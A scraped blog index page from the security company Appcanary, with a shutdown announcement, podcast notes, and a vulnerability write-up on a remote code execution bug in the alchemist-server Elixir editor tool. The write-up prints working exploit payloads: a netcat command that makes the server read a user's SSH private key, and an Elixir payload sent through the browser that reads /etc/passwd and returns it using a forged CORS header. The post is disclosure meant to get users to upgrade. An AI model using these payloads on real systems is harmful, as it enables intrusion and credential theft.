CINXE.COM
Appcanary
<!doctype html> <html lang="auto"> <head> <base href="https://blog.appcanary.com/"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge;chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="/stylesheets/application.css" rel="stylesheet"> <link href="/images/favicon.ico" rel="icon" type="image/ico"> <title>Appcanary</title> <link rel="alternate" type="application/atom+xml" title="Atom Feed" href="/feed.xml"> <meta http-equiv="X-Translated-By" content="Google"> <meta http-equiv="X-Translated-To" content="en"> <script type="text/javascript" src="https://www.gstatic.com/_/translate_http/_/js/k=translate_http.tr.en_GB.omlEigW4xY8.O/am=DgY/d=1/rs=AN8SPfpjsL9kUWY0h-sp7Ilu7hZWGwEmeg/m=corsproxy" data-sourceurl="https://blog.appcanary.com/"></script> <link href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200" rel="stylesheet"> <script type="text/javascript" src="https://www.gstatic.com/_/translate_http/_/js/k=translate_http.tr.en_GB.omlEigW4xY8.O/am=DgY/d=1/exm=corsproxy/ed=1/rs=AN8SPfpjsL9kUWY0h-sp7Ilu7hZWGwEmeg/m=phishing_protection" data-phishing-protection-enabled="false" data-forms-warning-enabled="true" data-source-url="https://blog.appcanary.com/"></script> <meta name="robots" content="none"> </head> <body> <script type="text/javascript" src="https://www.gstatic.com/_/translate_http/_/js/k=translate_http.tr.en_GB.omlEigW4xY8.O/am=DgY/d=1/exm=corsproxy,phishing_protection/ed=1/rs=AN8SPfpjsL9kUWY0h-sp7Ilu7hZWGwEmeg/m=navigationui" data-environment="prod" data-proxy-url="https://blog-appcanary-com.translate.goog" data-proxy-full-url="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto" data-source-url="https://blog.appcanary.com/" data-source-language="auto" data-target-language="en" data-display-language="auto" data-detected-source-language="en" data-is-source-untranslated="false" data-source-untranslated-url="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://blog.appcanary.com/&anno=2" data-client="tr"></script> <script src="//use.typekit.net/dkz5zwp.js"></script> <script>try{Typekit.load({ async: false });}catch(e){}</script> <div class="topbar"></div> <div id="header"> <div class="preamble"><a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto"><img class="logo" src="/images/appcanary.png" alt="Appcanary logo"></a> <p><b><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://appcanary.com">Appcanary</a></b> makes sure you never run vulnerable software on your servers. <br> Like our blog? Subscribe to our <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://appcanary.us10.list-manage.com/subscribe?u%3D303b378f377508300c0b5469a%26id%3Ddc58e8f56f">newsletter</a> or <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://podcast.appcanary.com">podcast</a>.<br> Browse the <a href="https://blog-appcanary-com.translate.goog/archive.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">archive</a>, or follow us on <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://twitter.com/appcanary">twitter</a>, <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/appcanary">github</a> or <a href="https://blog-appcanary-com.translate.goog/feed.xml?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">rss</a>.</p> </div> </div> <section> <div class="entry"> <div class="post"> <h1 class="title"><a href="https://blog-appcanary-com.translate.goog/2018/goodbye.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Goodbye Appcanary. Hello GitHub!</a></h1> <div class="published-tags"> By <span class="author"><a href="https://blog-appcanary-com.translate.goog/author/team-appcanary.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Team Appcanary</a></span> | <span class="date">January 04, 2018</span> </div> <p> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@appcanary"> <meta name="twitter:title" content="Goodbye Appcanary. Hello GitHub!"> <meta name="twitter:description" content="Today, we’re excited to announce that we’re going to be able to build tools that impact almost every software developer on the planet — we’re joining GitHub."> <meta name="twitter:image" content="https://blog.appcanary.com/images/appcanary-joins-github-white2.png"> <meta property="og:title" content="Goodbye Appcanary. Hello GitHub!"> <meta property="og:description" content="aToday, we’re excited to announce that we’re going to be able to build tools that impact almost every software developer on the planet — we’re joining GitHub. "> <meta property="og:image" content="https://blog.appcanary.com/images/appcanary-joins-github-white2.png"></p> <p><img src="/images/appcanary-joins-github.png"></p> <p>From when we cofounded <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://www.rubysec.com">Rubysec</a>, to building (the now defunct) <a href="https://blog-appcanary-com.translate.goog/2015/hello-appcanary.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Gemcanary</a>, to <a href="https://blog-appcanary-com.translate.goog/2015/hello-world.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">starting Appcanary</a>, our goal from the beginning was to improve the world’s security by preventing the use of vulnerable software. At the time, this required placing a bet on building a certain kind of business, and for a variety of reasons that bet didn’t work out.</p> <p>However, this doesn’t mean that we’re giving up on the mission!</p> <p>Today, we’re excited to announce that we’re going to be able to build tools that impact almost every software developer on the planet — we’re joining GitHub. There, we’ll be working on expanding GitHub’s security tooling, like their recently announced <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/blog/2470-introducing-security-alerts-on-github">vulnerable dependency alerting</a>.</p> <p>This means that we will be shutting Appcanary down. We’ve stopped accepting new signups, and in order to help our customers transition, we will officially stop operating the service on <strong>June 1st, 2018</strong>.</p> <p>To our customers, we are sorry for the inconvenience and we would like to thank you for your trust over the past two and a half years. We’d also like to thank our investors, advisors and friends who have supported us.</p> <p>We’ll have more to say when the time comes. We look forward to our paths crossing again via our continued work on the GitHub platform.</p> <p>If you are interested in learning more about GitHub, please visit:</p> <ul> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com">GitHub.com</a></li> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/blog/2470-introducing-security-alerts-on-github">GitHub Security Alerts</a></li> </ul> <p>Thank you,</p> <p>Max Veytsman and Phill Mendonça-Vieira</p> <p></p> <hr> <p></p> <h2 id="questions-you-may-have">Questions you may have:</h2> <p><strong>What is happening to the Appcanary products - API, Agent, and Monitor alerting?</strong></p> <p>All three products will be sunsetting on <strong>June 1st, 2018</strong>.</p> <p>If you are currently a paying customer, you can continue to use and pay for the service until then. You may also, of course, cancel the service at any time by going to <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://appcanary.com/billing">the billing page</a> and disabling the agent from your servers.</p> <p>We are not going to be accepting any new customers for these products.</p> <p><strong>What is happening the the public vulnerability page?</strong></p> <p><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://appcanary.com/vulns">The vulnerability browser</a> will continue to operate until <strong>June 1st, 2018</strong>.</p> <p><strong>What is happening to isitvulnerable.com?</strong></p> <p>It will also continue to work until <strong>June 1st, 2018</strong>, although we recommend you use <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/blog/2470-introducing-security-alerts-on-github">Github Security Alerts</a> instead.</p> <p><strong>Wait, does this mean that GitHub will know about my security vulnerabilities?</strong></p> <p>No. Appcanary will not be sharing any data that can be used to identify our customers’ vulnerabilities with GitHub.</p> <p><strong>Who do you recommend using instead of Appcanary?</strong></p> <p>Ruby coverage is live in GitHub’s Security Alerts feature. Today you can get PHP coverage from security partners like Gemnasium (and soon Snyk) in the <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/marketplace">GitHub Marketplace</a>.</p> <p>For Ubuntu, Debian, CentOS, Amazon Linux, and Alpine Linux coverage, we recommend <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://spacewalkproject.github.io/">Spacewalk</a>, <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://landscape.canonical.com/">Landscape</a>, <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://coreos.com/clair/docs/latest/">CoreOS Clair</a>, <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://www.tenable.com/products/nessus/nessus-agents">Nessus Agents</a>, or <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://www.threatstack.com/">ThreatStack</a>.</p> <p><strong>What is GitHub’s Security Alerts offering?</strong></p> <p>GitHub currently sends alerts to public repositories and private repositories that have opted in about publicly disclosed CVEs for Javascript and Ruby. GitHub is soon adding Python support and expanding vulnerability coverage to include more of Appcanary’s database.</p> <p><strong>Who do we contact for product support until the product sunsets?</strong></p> <p>You can still reach us via the normal support channels or by emailing hello@appcanary.com</p> </div> <hr> </div> </section> <section> <div class="entry"> <div class="post"> <h1 class="title"><a href="https://blog-appcanary-com.translate.goog/2017/clojure-ruby-joy-developer-happiness.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast Episode 6 - Clojure, Ruby, Joy and Developer Happiness</a></h1> <div class="published-tags"> By <span class="author"><a href="https://blog-appcanary-com.translate.goog/author/phillip-mendonca-vieira.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Phillip Mendonça-Vieira</a></span> | <span class="date">September 18, 2017</span> on <a href="https://blog-appcanary-com.translate.goog/tags/podcast.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast</a>, <a href="https://blog-appcanary-com.translate.goog/tags/clojure.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Clojure</a>, <a href="https://blog-appcanary-com.translate.goog/tags/ruby.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Ruby</a>, <a href="https://blog-appcanary-com.translate.goog/tags/joy.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Joy</a> </div> <p>Max and Phill revisit leaving Clojure, and what joy and developer happiness actually means. Produced by <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://twitter.com/katiejensen">Katie Jensen</a>.</p> <p>You can follow along on <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://itunes.apple.com/ca/podcast/appcanary-podcast/id1215405635">iTunes</a>, or subscribe directly to <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://podcast.appcanary.com/podcast.rss">the feed</a>.</p> <audio controls preload="none" style="width: 100%;"><source src="https://podcast.appcanary.com/mp3/appcanary-ep6.mp3" type="audio/mpeg"> Your browser does not support the audio element. </audio> <h3 id="show-notes">Show Notes</h3> <ul> <li><a href="https://blog-appcanary-com.translate.goog/2017/hard-isnt-simple-ruby-clojure.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Simple Ain’t Easy, but Hard Ain’t Simple: Leaving Clojure for Ruby</a></li> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://lambdaisland.com/blog/25-05-2017-simple-and-happy-is-clojure-dying-and-what-has-ruby-got-to-do-with-it">Simple and Happy; is Clojure dying, and what has Ruby got to do with it?</a></li> </ul> </div> <hr> </div> </section> <section> <div class="entry"> <div class="post"> <h1 class="title"><a href="https://blog-appcanary-com.translate.goog/2017/canada-c51-gop-voter-data.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast Episode 5 - Spies and Voter Data</a></h1> <div class="published-tags"> By <span class="author"><a href="https://blog-appcanary-com.translate.goog/author/phillip-mendonca-vieira.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Phillip Mendonça-Vieira</a></span> | <span class="date">August 01, 2017</span> on <a href="https://blog-appcanary-com.translate.goog/tags/podcast.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast</a>, <a href="https://blog-appcanary-com.translate.goog/tags/gop.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">GOP</a>, <a href="https://blog-appcanary-com.translate.goog/tags/canada.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Canada</a>, <a href="https://blog-appcanary-com.translate.goog/tags/c51.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">C51</a>, <a href="https://blog-appcanary-com.translate.goog/tags/spying.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Spying</a> </div> <p>Phill and Max discuss new spying powers in Canada, and the leak of GOP voter data. Produced by <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://twitter.com/katiejensen">Katie Jensen</a>.</p> <p>You can follow along on <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://itunes.apple.com/ca/podcast/appcanary-podcast/id1215405635">iTunes</a>, or subscribe directly to <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://podcast.appcanary.com/podcast.rss">the feed</a>.</p> <audio controls preload="none" style="width: 100%;"><source src="https://podcast.appcanary.com/mp3/appcanary-ep5.mp3" type="audio/mpeg"> Your browser does not support the audio element. </audio> <h3 id="show-notes">Show Notes</h3> <ul> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://news.vice.com/story/the-trudeau-government-peels-back-bill-c-51-mostly">The Trudeau government peels back bill C-51 — mostly</a></li> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=http://ipolitics.ca/2017/06/20/goodale-pitches-panel-of-experts-in-major-national-security-reform-bill/">CSE getting ‘proactive’ mandate overhaul in major national security reform bill</a></li> <li><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=http://www.nationalobserver.com/2017/06/20/news/goodale-asks-parliament-expand-electronic-spying-powers">Goodale asks Parliament to expand electronic spying powers</a></li> <li><p><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=http://www.cbc.ca/news/canada/manitoba/canada-csis-metadata-collection-privacy-concerns-bill-c51-1.3798564">CSIS, Bill C-51 and Canada’s growing metadata collection mess</a></p></li> <li><p><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://www.upguard.com/breaches/the-rnc-files">The RNC Files: Inside the Largest US Voter Data Leak</a></p></li> </ul> </div> <hr> </div> </section> <section> <div class="entry"> <div class="post"> <h1 class="title"><a href="https://blog-appcanary-com.translate.goog/2017/hacking-your-elixir-editor.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Hacking your Elixir Editor</a></h1> <div class="published-tags"> By <span class="author"><a href="https://blog-appcanary-com.translate.goog/author/max-veytsman.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Max Veytsman</a></span> | <span class="date">July 28, 2017</span> on <a href="https://blog-appcanary-com.translate.goog/tags/elixir.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Elixir</a>, <a href="https://blog-appcanary-com.translate.goog/tags/security.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Security</a> </div> <p>I’ve been playing with Elixir recently, and came across a remote code execution bug in the developer tools. You know, as one does.</p> <p>Before we continue, a warning: if you use Vim and have ever edited Elixir files <strong>stop what you’re doing and upgrade <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/slashmili/alchemist.vim">alchemist.vim</a> to 2.8.0</strong>. Seriously, go do it, right now.</p> <p>Done? Okay, let’s take it from the top. If you want to implement nice editor support for a language, and provide things like code-completion or jump-to-definition, you need some way to introspect both the source code being edited and the language’s runtime environment to figure out what suggestions to give to your users.</p> <p>There’s a package called <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/tonini/alchemist.el">alchemist</a> that provides Elixir support for Emacs. It has nice features like code-completion, and jump-to-definition, and, thereofre, it understands Elixir code and can read through a project’s dependencies and stuff like that. A common pattern when writing editor plugins is to build a little background program in the language you’re targeting that can introspect the runtime and tell the editor where symbols are defined and help with code completion. Alchemist does this with <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/tonini/alchemist-server">alchemist-server</a>.</p> <p>Alchemist-server is also used by the Vim plugin, <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/slashmili/alchemist.vim">alchemist.vim</a>. While Emacs talks to alchemist-server via STDIN/STDOUT, the Vim plugin uses a TCP server to process commands from Vim.</p> <h1 id="the-bug">The bug</h1> <p>I can’t claim credit for the original bug. It was <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/tonini/alchemist-server/issues/14">reported</a> by <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://github.com/ivan">Ivan Kozik</a> back in February.</p> <p>The issue is that alchemist-server accepted <code>EVAL</code> as a command and listened unauthenticated on all interfaces. This means that anyone in the same coffee shop as you can eval arbitrary Elixir code on your computer if they can guess the <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://en.wikipedia.org/wiki/Ephemeral_port">ephemeral port</a> the server is running on.</p> <p>This is really bad, and unfortunately had not been addressed since the issue was reported. I think this bug wasn’t patched immediately for three reasons:</p> <ol> <li>There wasn’t consensus on what the correct fix was. Do we listen on localhost only? On a socket? Sign and MAC the command? If we do that, what key do we use?</li> <li>The severity of the bug wasn’t made clear. While it exposed you to a remote attacker over the same network, Ivan initially thought that you would need a <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://en.wikipedia.org/wiki/DNS_rebinding">DNS rebinding</a> attack to exploit the bug via a browser. This is theoretical and hard to explain, let alone pull off<sup id="fnref1"><a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fn1" rel="footnote">1</a></sup>.</li> </ol> <p>This is a super serious bug, and I wanted to see this bug fixed as quickly as possible. I subscribe to the Church of <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://www.nostarch.com/gtfo">Proof of Concept or GTFO</a>, so it was time to demonstrate just bad this bug actually was.</p> <h1 id="the-original-exploit">The original exploit</h1> <p>Ivan’s original exploit takes advantage of the fact that alchemist-server uses <code>eval-string</code> to process arguments in several cases and it contains a <code>EVAL</code> command for evaluating files, probably for loading modified files into your repl environment. He sends a command that uses the <code>eval-string</code>ed portion to write a malicious Elixir script to a file and then executes it, with the results returned to the user.</p> <p>Assuiming <code>PORT</code> is the ephemeral port the server is running on, his exploit looks like this:</p> <pre class="highlight shell"><code><span class="nb">echo</span> <span class="s1">'EVAL File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))"); {:eval, "/tmp/payload"}'</span> | nc 127.0.0.1 PORT </code></pre> <ul> <li><code>EVAL</code> is a command for the Elixir server.</li> <li><code>File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))");</code> is the part that’s processed by <code>eval-string</code>. It writes a malicious elixir script to <code>/tmp/payload</code>. The script itself returns the contents of the user’s ssh private key.</li> <li><code>{:eval, "/tmp/payload"}</code> tells the server to evaluate the file in which the malicious script was written.</li> </ul> <h1 id="the-danger-of-line-based-protocols">The danger of line based protocols</h1> <p>I know what you’re thinking: “it’s really too bad that alchemist-server is evaling things to begin with”. And, you’re dead wrong.</p> <p>It’s perfectly fine for developer tools to execute code sent to them by a user; actually, most developer tools are designed specifically to evaluate arbitrary code in one way or another. The problem is that it’s accepting code to be evaled over <em>a TCP connection</em>.</p> <p>First, I booted up the server, and then started talking to it using netcat:</p> <pre class="highlight shell"><code><span class="gp">$ </span><span class="nb">echo</span> <span class="s1">'PING'</span> | nc localhost 59533 PONG END-OF-PING <span class="gp">$ </span><span class="nb">echo</span> <span class="s2">"NOTAREALCOMMAND"</span> | nc localhost 59555 <span class="c"># No output</span> <span class="gp">$ </span><span class="nb">printf</span> <span class="s2">"NOTAREALCOMMAND</span><span class="se">\n</span><span class="s2">PING</span><span class="se">\n</span><span class="s2">"</span> | nc localhost 59609 PONG END-OF-PING </code></pre> <p>This is where things get real bad for alchemist-server. We’re dealing with a line based protocol, and what’s more, it’s ignoring<sup id="fnref2"><a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fn2" rel="footnote">2</a></sup> commands it doesn’t understand. You know what else is a line-based protocol? HTTP.</p> <p>That means we can get a browser to issue a request to localhost and alchemist-server will ignore all the headers and HTTP formalities and happily execute an EVAL command if we put it on its own line.</p> <p>Interestingly enough, this is a case where security considerations outweigh <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://en.wikipedia.org/wiki/Robustness_principle">Postel’s Principle</a>:</p> <blockquote> <p>Be conservative in what you do, be liberal in what you accept from others</p> </blockquote> <p>In this case, being liberal in what you accept leads to accepting messages from places you really shouldn’t.</p> <h1 id="cross-origin-resource-sharing">Cross-origin resource sharing</h1> <p>We’ve established that the server will accept HTTP requests from a browser. Now the trick is to get the browser to send one. I decided to use Javascript to send an <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://developer.mozilla.org/en/docs/Web/API/XMLHttpRequest">XHR</a> so that I had a good chance of being able to process the response from the server. If I just wanted to execute some code on a victim’s machine, embedding a form or an image with the right payload would have worked too.</p> <p>In order to use XHR, we need to get around Cross-Origin Resource Sharing (CORS). This is the policy that governs under what conditions a browser will make a request to a resource, and under what conditions the output will be returned back to the Javascript function that made the request. There is a default policy, and it can be changed by the server using special headers<sup id="fnref3"><a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fn3" rel="footnote">3</a></sup>.</p> <p>The first thing that happens is that the browser decides if it can make a request. If the request contains these special headers, or uses an HTTP method other than GET, HEAD, or POST, the browser will send a <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS%23Preflighted_requests">preflighted request</a>. This is an OPTIONS request that asks the server if it will accept the upcoming request.</p> <p>We don’t want this, so we have to send a so-called “simple request”. A POST request with a content-type of “text/plain” and <code>EVAL ...</code> in the data is “simple” and not be preflighted.</p> <p>The next step is getting passed the Access-Control header. By default, your browser won’t return the results of an XHR request unless it’s to the same origin as the script that’s making it, or the server has an Access-Control header that allows the script’s origin. One thing to note is that this is happening <em>after</em> the request is made. So, if I have some malicious code that will ransomware your computer, it will still be executed, even if the browser script that made the request won’t be able to see the response. It’s especially unimportant in the case of remote code execution, because I can exfiltrate data by having my malicious payload make a request back to me by itself.</p> <p>Nevertheless, setting up a server to listen to the response requires effort, and I wanted a seamless POC. Luckily, our malicious payload’s response was going to be interpreted as a HTTP response to the browser, so all I had to do was return a string that looks like:</p> <pre class="highlight plaintext"><code>HTTP/1.1 200 OK Access-Control-Allow-Origin: * The browser will now see this as a response to its XHR request. </code></pre> <h1 id="boom">Boom</h1> <p>And here’s the full payload</p> <pre class="highlight elixir"><code><span class="c1"># Write the following script to /tmp/payload</span> <span class="no">EVAL</span> <span class="no">File</span><span class="o">.</span><span class="n">write!</span><span class="p">(</span><span class="sd">"</span><span class="s2">/tmp/payload"</span><span class="p">,</span> <span class="c1"># HTTP response header</span> <span class="err">~</span><span class="no">S</span><span class="o">|</span><span class="no">IO</span><span class="o">.</span><span class="n">puts</span> <span class="sd">"</span><span class="s2">HTTP/1.1 200 OK"</span> <span class="c1"># \n - encoded in a way that won't be parsed as a new line</span> <span class="o"><></span> <span class="no">List</span><span class="o">.</span><span class="n">to_string</span><span class="p">([</span><span class="m">10</span><span class="p">])</span> <span class="c1"># CORS header</span> <span class="o"><></span> <span class="sd">"</span><span class="s2">Access-Control-Allow-Origin: *"</span> <span class="c1"># \r\n\r\n - see above</span> <span class="o"><></span> <span class="no">List</span><span class="o">.</span><span class="n">to_string</span><span class="p">([</span><span class="m">13</span><span class="p">,</span><span class="m">10</span><span class="p">,</span><span class="m">13</span><span class="p">,</span><span class="m">10</span><span class="p">])</span> <span class="c1"># Insert the contents of /etc/passwrd</span> <span class="o"><></span> <span class="no">File</span><span class="o">.</span><span class="n">read!</span><span class="p">(</span><span class="no">Path</span><span class="o">.</span><span class="n">expand</span><span class="p">(</span><span class="err">~</span><span class="n">s</span><span class="p">(</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="p">)))</span> <span class="c1"># \r\n\r\n - see above</span> <span class="o"><></span> <span class="no">List</span><span class="o">.</span><span class="n">to_string</span><span class="p">([</span><span class="m">13</span><span class="p">,</span><span class="m">10</span><span class="p">,</span><span class="m">13</span><span class="p">,</span><span class="m">10</span><span class="p">])</span><span class="o">|</span><span class="p">);</span> <span class="c1"># Execute the above script and return the result</span> <span class="p">{</span><span class="ss">:eval</span><span class="p">,</span> <span class="sd">"</span><span class="s2">/tmp/payload"</span><span class="p">}</span> </code></pre> <p>This is what it looks like when wrapped in HTML/Javascript:</p> <video preload="none" src="/videos/alchemist_server.webm" width="640" height="360" controls> </video> <p>Thanks for reading, and make sure you update your alchemist-server!</p> <div class="footnotes"> <hr> <ol> <li id="fn1"><p>Case in point, the <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=http://searchsecurity.techtarget.com/definition/DNS-rebinding-attack">first google hit</a> confuses for DNS rebinding confuses the attack technique with something you can do with it — using javascript to exploit default passwords on home routers from a browser. <a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fnref1" rev="footnote">↩</a></p></li> <li id="fn2"><p>You may have noticed, I used <code>printf</code> not <code>echo</code> in the last example so that my <code>\n</code>s would be rendered correctly. <a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fnref2" rev="footnote">↩</a></p></li> <li id="fn3"><p>If you want to learn more about other security releated headers, you can read my <a href="https://blog-appcanary-com.translate.goog/2017/http-security-headers.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">guide</a> <a href="https://blog-appcanary-com.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto#fnref3" rev="footnote">↩</a></p></li> </ol> </div> </div> <hr> </div> </section> <section> <div class="entry"> <div class="post"> <h1 class="title"><a href="https://blog-appcanary-com.translate.goog/2017/reality-winner-nsa-citizenlab.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast Episode 4 - Leakers and Phishers</a></h1> <div class="published-tags"> By <span class="author"><a href="https://blog-appcanary-com.translate.goog/author/phillip-mendonca-vieira.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Phillip Mendonça-Vieira</a></span> | <span class="date">July 14, 2017</span> on <a href="https://blog-appcanary-com.translate.goog/tags/podcast.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Podcast</a>, <a href="https://blog-appcanary-com.translate.goog/tags/nsa.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">NSA</a>, <a href="https://blog-appcanary-com.translate.goog/tags/citizenlab.html?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto">Citizenlab</a> </div> <p>Max and Phill talk about Reality Winner’s bad opsec and the huge phishing campaign unearthed by Citizenlab. Produced by <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://twitter.com/katiejensen">Katie Jensen</a>.</p> <p>You can follow along on <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://itunes.apple.com/ca/podcast/appcanary-podcast/id1215405635">iTunes</a>, or subscribe directly to <a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://podcast.appcanary.com/podcast.rss">the feed</a>.</p> <audio controls preload="none" style="width: 100%;"><source src="https://podcast.appcanary.com/mp3/appcanary-ep4.mp3" type="audio/mpeg"> Your browser does not support the audio element. </audio> <h3 id="show-notes">Show Notes</h3> <ul> <li><p><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://medium.com/@thegrugq/real-talk-on-reality-cf07cbb78530">Real Talk on Reality</a></p></li> <li><p><a href="https://translate.google.com/website?sl=auto&tl=en&hl=auto&u=https://citizenlab.ca/2017/05/tainted-leaks-disinformation-phish/">TAINTED LEAKS: Disinformation and Phishing With a Russian Nexus</a></p></li> </ul> </div> <hr> </div> </section> <section> <div class="pagination"> <div class="paginators"><span class="page-number">Page 1 of 6</span> <a href="https://blog-appcanary-com.translate.goog/page/2/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=auto" class="older-posts">Older Posts →</a> </div> </div> </section> <script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 928841383; var google_custom_params = window.google_tag_params; var google_remarketing_only = true; /* ]]> */ </script> <script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js"> </script> <noscript> <div style="display:inline;"><img height="1" width="1" style="border-style:none;" alt="" src="//googleads.g.doubleclick.net/pagead/viewthroughconversion/928841383/?value=0&guid=ON&script=0"> </div> </noscript> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-61163522-3', 'auto'); ga('send', 'pageview'); </script><!-- Twitter universal website tag code --> <script> !function(e,n,u,a){e.twq||(a=e.twq=function(){a.exe?a.exe.apply(a,arguments): a.queue.push(arguments);},a.version='1',a.queue=[],t=n.createElement(u), t.async=!0,t.src='//static.ads-twitter.com/uwt.js',s=n.getElementsByTagName(u)[0], s.parentNode.insertBefore(t,s))}(window,document,'script'); // Insert Twitter Pixel ID and 